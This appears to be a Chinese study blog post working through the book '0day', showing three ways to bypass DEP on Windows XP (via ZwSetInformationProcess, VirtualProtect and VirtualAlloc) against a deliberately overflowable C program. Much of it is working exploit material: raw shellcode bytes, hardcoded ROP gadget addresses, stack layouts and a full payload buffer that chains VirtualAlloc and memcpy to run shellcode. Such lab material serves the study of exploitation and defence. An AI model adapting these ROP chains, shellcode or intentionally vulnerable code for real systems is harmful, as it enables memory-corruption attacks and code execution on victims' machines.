還是和linux下溢出利用對比。
開啟了DEP后,棧的內存空間變成不可執行,無法再把shellcode布置其中然后執行。而如果在代碼區找到一些替代指令,通過ROP鏈的方式連接起來,來達到shellcode的功能,這在linux下是完全可行的(即ROP技術,畢竟system('/bin/sh')或execve('/bin/sh')是非常簡捷的),但是在windows下要復雜的多的多的多,并且不具備通用性。
《0day》書中提到了在繼承這種思想(即Ret2Libc)的大前提下,三種經過改進的,相對比較有效的繞過DEP的exploit方法。
1.使用ZwSetInformationProcess( )將DEP關閉后再轉入shellcode執行
2.使用VirtualProtect將shellcode所在內存頁設置為可執行狀態,然后轉入shellcode執行
3.使用VirtualAlloc開辟一段具有執行權限的內存空間,復制shellcode到其中執行
0x00 Ret2Libc實戰之利用ZwSetInformationProcess
一個進程的DEP設置標識保存在KPROCESS結構中的_KEXECUTE_OPTIONS上,而這個標識可以通過API函數ZwQueryInformationProcess和ZwSetInformationProcess進行查詢和修改。(有些資料中將這些函數成為NtQueryInformationProcess和 NtSetInformationProcess,在Ntdll.dll中Nt**函數和Zw**函數功能是完全一樣的。)
_KEXECUTE_OPTIONS結構定義:
Pos0: ExecuteDisable ?:1bit
Pos1: ExecuteEnable ? :1bit
Pos2: DisableThunkEmulation : 1bit
Pos3: Permanent ? ? ? ? :1bit
Pos4: ExecuteDispatchEnable ?: 1bit
Pos5: ImageDispatchEnable ?:1bit
Pos6: Spare ? ?:2bit
其中Permanent置1后這些屬性都無法再修改。真正影響DEP的是前兩位,所以我們只要把_KEXECUTE_OPTIONS設置為2(0b00000010)就可以關閉DEP
關鍵函數ZwSetInformationProcess的定義:
ZwSetInformationProcess(
? ? IN HANDLE ? ? ? ? ? ? ? ?ProcessHandle, ? ? //進程的句柄,設置為-1表示當前進程
? ? IN PROCESS_INFORMATION_CLASS ? ? ProcessInformationClass, ? ??
? ? IN PVOID ? ? ? ? ? ? ? ? ? ProcessInformation,
? ? IN ULONG ? ? ? ? ? ? ? ? ProcessInformationLength );
Skape和Skywing在他們的論文Bypassing Windows Hardware-Enforced DEP中給出了關閉DEP的參數設置:
ZwSetInformationProcess(
NtCurrentProcess( ), ? ? ? ? ? ?//(HANDLE) -1
ProcessExecuteFlags, ? ? ? ? ?// 0x22
&ExecuteFlags, ? ? ? ? ? ? ? ? ? // ptr to 0x2
sizeof(ExecuteFlags)); ? ? ?// 0x4
具體的構造利用還要考慮到字符串復制時’\x00'截斷的問題,還有一種方法就是在系統中尋找已經構造好的參數,如果系統中存在一處關閉當前進程DEP的調用,我們就可以直接用它構造參數來關閉進程的DEP了。
微軟的兼容性考慮,如果一個進程的Permanent位沒有設置,當它加載DLL時,如果符合以下條件之一時進程的DEP就會被關閉:
1)當DLL受SafeDisc版權保護系統保護時
2)當DLL包含有 .aspcak ? 、 ? .pcle ? ?、 ?.sforce等字節時
3)windows vista下面當DLL包含在注冊表”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DIINXOptions“鍵下邊標識出不需要啟動DEP的模塊時。
換言之如果我們能夠模擬其中一種情況(例如借助ROP更改用于判斷的寄存器值),那么當前進程的DEP將被關閉。
一開始想跳過這一節直接看用virtualprotect的方法的,后來發現這里提到了后面也要用到的調整ebp和esp,還是比較有意思的。
首先是漏洞代碼:
#include<stdlib.h>
?#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6f\x69\x74\x21\x68\x65\x78\x70\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xe2\x92\x7c" //mov eax,1 ; retn
"\x24\xcd\x93\x7c";
void test()
{
? ? ?char tt[176];
? ? ?strcpy(tt,shellcode);
}
int main()
{
? ? ? HINSTANCE hInst = LoadLibrary("shell32.dll");
? ? ? char temp[200];
? ? ? test();
? ? ? return 0;
}
先把shellcode放好,然后再用計算偏移量的方法計算還需要多少字節能夠覆蓋到EIP,并用\x90填充。
用od插件查找LdrpCheckNXCompatibility函數,在0x7c93cd24對al寄存器的值進行檢驗之前,先在內存中尋找一條mov eax,1 ?; retn的rop來修改eax,從而偽造出第一種情況中,DLL受SafeDisc版權保護系統保護的假象,然后再跳轉到0x7c93cd24來關閉DEP。
但是程序并沒有如我們想象的那樣執行:
原來是我們覆蓋EIP的時候把EBP也沖掉了,試圖向[EBP-0x4]寫入時出現了錯誤
之后仍然能返回到LdrpCheckNXCompatibility中執行一直到retn,但是實際上所有的jnz都不會跳轉,從而根本不會跳轉到0x7c956831去執行用于關閉DEP的ZwSetInformationProcess函數!
所以在轉入0x7c93cd24前,需要將ebp指向一個可寫的位置。滿足可寫只有esp,我們只能選擇push esp pop ebp retn這樣一條指令序列。(只是retn 4之后esp相當于+4+4相對ebp位于高地址,接下來若有壓棧操作有可能將ebp-0x4覆蓋,造成傳參(第三個參數&ExecuteFlags)不正確)
ebp-4果然被覆蓋變成了0x22,但是其低四位與0x2相同仍然是0100不影響使用。
然后。。。然后就叕叕出問題了
關閉DEP返回的時候發現棧頂變成了0x000004,正是調用ZwSetInformationProcess傳參時候壓入的4,DEP是關掉了但是沒法繼續了也很無奈啊。。。究其原因還是因為esp在高地址而且距離ebp太近了,幾次壓棧就有可能沖掉棧中保存的返回地址,思路大概就是減小esp或者增大ebp,這里采用的辦法是干脆增大esp(因為找不到增大ebp,而且shellcode在低地址減小esp的話又會破壞shellcode)
這里使用0x5d18698d的retn 0x28來增大esp:
exploit!
0x01 Ret2Libc實戰之利用VirtualProtect
原理上類同linux下用mprotect修改內存頁權限來繞過NX執行shellcode(linux x64 ROP in XMAN-Level5)
MSDN 上的函數說明
lpAddress:要改變屬性的內存起始地址
dwSize:要改變屬性的內存區域大小
flNewProtect:內存新的屬性類型,設置為PAGE_EXECUTE_READWRITE(0x40)時該內存頁為可讀可寫可執行
pflOldProtect:內存原始屬性類型保存地址
需要注意:
1)參數中包含\x00,使用strcpy復制字符串會被截斷,試驗中用memcpy構造溢出點
2)試驗中使用一種巧妙地棧幀構造方法確定shellcode所在內存空間起始地址
觸發漏洞的程序:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
?char tt[176];
?memcpy(tt,shellcode,420);
}
void jump()
{
?__asm jmp esp; ? ?//書中給的源碼是沒有這個函數的
}
int main() {
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
首先還是用\x90填充計算多少字節覆蓋到返回地址
接著需要調整ebp,還是使用push esp ; pop ebp ; retn 4序列的方式,返回后ebp和esp:
查看我們需要調用的virtualprotectEX函數的傳參:
[ebp+0x8]? ? ? ? ===> ? ?lpAddress ? ? ? ? ?//要改變屬性的內存起始地址 ? 需要棧中相對于shellcode的低地址
[ebp+0xc] ? ? ? ?===> ? ?dwSize ? ? ? ? ? ? ?//要改變屬性的內存區域大小 ? 設為0xff完全夠用
[ebp+0x10] ? ? ?===> ? ?flNewProtect ? ? //內存新的屬性類型 ?0x40即為R W E
[ebp+0x14] ? ? ?===> ? ?pflOldProtect ? ? //需要一可寫地址
retn 4之后esp恰好指向ebp+0x8,也就是說我們只需要一個mov [esp],** ?; ?pop ?;pop ?;retn的指令序列就可以完成傳參,但是沒有找到這樣一條指令序列。
另一種方法就是使esp再增加4字節然后壓棧,使esp增加4字節的指令很簡單retn就可以完成,接著我們只需要push esp ?; pop ; pop ?;pop ?; retn這樣的序列,就可以把esp+0x8的位置寫入當前esp的值(顯然是相對于shellcode的低地址),緊接著在棧上靜態布置好size(0xff)和屬性類型(0x40),pop指令不會去修改他們,最后再進行一次push esp pop pop pop retn,[ebp+0x14]需要的一可寫地址也滿足了,再填充8字節的nop又可以繼續構造rop鏈。
但是并沒有找到一條push esp pop pop pop retn的序列,這里就提供一種拼接的方式,首先需要找到拼接的材料:
1)push esp ; jmp eax
2.)pop eax ?; retn
3) pop ;pop ; pop ; retn (不能修改ebp,esp,eax)
? ? ? ? ? ? ? ? ?////////////////////////////////////////////////////
esp==> ? ? //address of pop eax retn ? ? ? ? ?//
? ? ? ? ? ? ? ? ?////////////////////////////////////////////////////
? ? ? ? ? ? ? ? ?//address of pop pop pop retn ? //
? ? ? ? ? ? ? ? ?/////////////////////////////////////////////////////
? ? ? ? ? ? ? ? ?//address of push esp jmp eax ? //
? ? ? ? ? ? ? ? ?/////////////////////////////////////////////////////
如此在棧中布局,就拼接出了一條push esp pop pop pop retn指令序列。然后就可以跳轉到0x7c801ad9去執行virtualprotectEX,查看返回值:
eax為1說明修改成功。
最后jmp esp和布置shellcode之前要加入16字節\x90的填充,否則esp指向shellcode中間,shellcode開始處的壓棧操作會破壞shellcode自身。
PS:最后發現沒有找到可執行的jmp esp???只能自己在代碼段里內聯了一個,或者既然地址沒開隨機化可以硬編碼shellcode的起始地址。有時間還是學一學idc寫一些自己用的方便插件。
0x02 Ret2Libc實戰之利用VirtualAlloc
Windows XP
VC++6.0
Ollydbg
ImmunityDebug(mona)
代碼:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
180個填充后覆蓋到反對地址
這時ebp已經被我們的輸入覆蓋了,需要用push esp ; pop ebp ; retn修正ebp,接著就可以調用virtualAlloc()來申請一塊新的可寫可執行的內存。
參數:
0x30000? 申請空間起始地址
0xfff? ? ? ? ?申請空間大小
0x1000? ? ?申請類型
0x40? ? ? ? ?申請空間訪問類型(RWE)
如果用這里的0x7c809af4的話,還要在加上一個參數0xffffffff表示當前進程。這些參數都是靜態確定的所以可以直接放在棧中傳遞:
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d"? ? ? ? ? ?//push esp ; pop ebp ; retn 4
"\xf4\x9a\x80\x7c"? ? ? ? ? ? //call VirtualAlloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
返回值為1說明申請成功,此時用od的Memory窗口可以看到0x30000開始的一片內存且權限為RWE。
注意返回的時候有一個pop ebp的指令又破壞了ebp,所以還要重新修正ebp一次。
接著需要做的就是把shellcode復制到0x30000中去執行,可以使用memcpy來完成這一步。
dest:0x30000
src? :<=shellcode start
count:長度可以覆蓋到shellcode
可以直接使用程序代碼中的memcpy,這里并沒有調用ntdll里面的memcpy:
主要需要考慮的就是memcpy的源地址,當然這里shellcode是硬編碼進去的,可以靜態確定。但是更一般的情況是shellcode出現在用戶的輸入中,作為局部變量存儲在棧中,所以shellcode的起始地址需要我們動態確定。事實上只需要一個在棧中相對于shellcode的低地址就足夠了。一條push esp就可以幫助我們完成傳參!
考慮第二次修正ebp之后棧的情況
"\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
"\x3d\x19\xfa\x7f"? ?//pop edx retn? ? ? <==== ebp
"\x08\x00\x03\x00"? ?//memcpy返回后將跳轉到這里指向的地址
"\x00\x00\x03\x00"
ebp將會指向如上的位置,此時再在棧中ebp+8的位置填入0x30000,即完成了第一個參數的傳入,接著pop retn防止第一個參數被修改,返回地址處填上push esp ; jmp eax,eax可以預先放上一個pop pop retn的地址,即拼出一條push esp ; pop ; pop ; retn的指令,防止后兩個參數被修改,retn的地址放上0x401050。
總體的布局:
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\xf4\x9a\x80\x7c" //call virtualalloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\xfc\xda\xce\x7d" //pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //paddings for retn 0x10 "\xb9\x81\xce\x7d" //pop pop retn
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\x3d\x19\xfa\x7f" //pop edx retn
"\x08\x00\x03\x00"
"\x00\x00\x03\x00"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\xff\x0f\x00\x00" //length
"\x55\x10\x40\x00"
“......” //shellcode
EXPLOIT!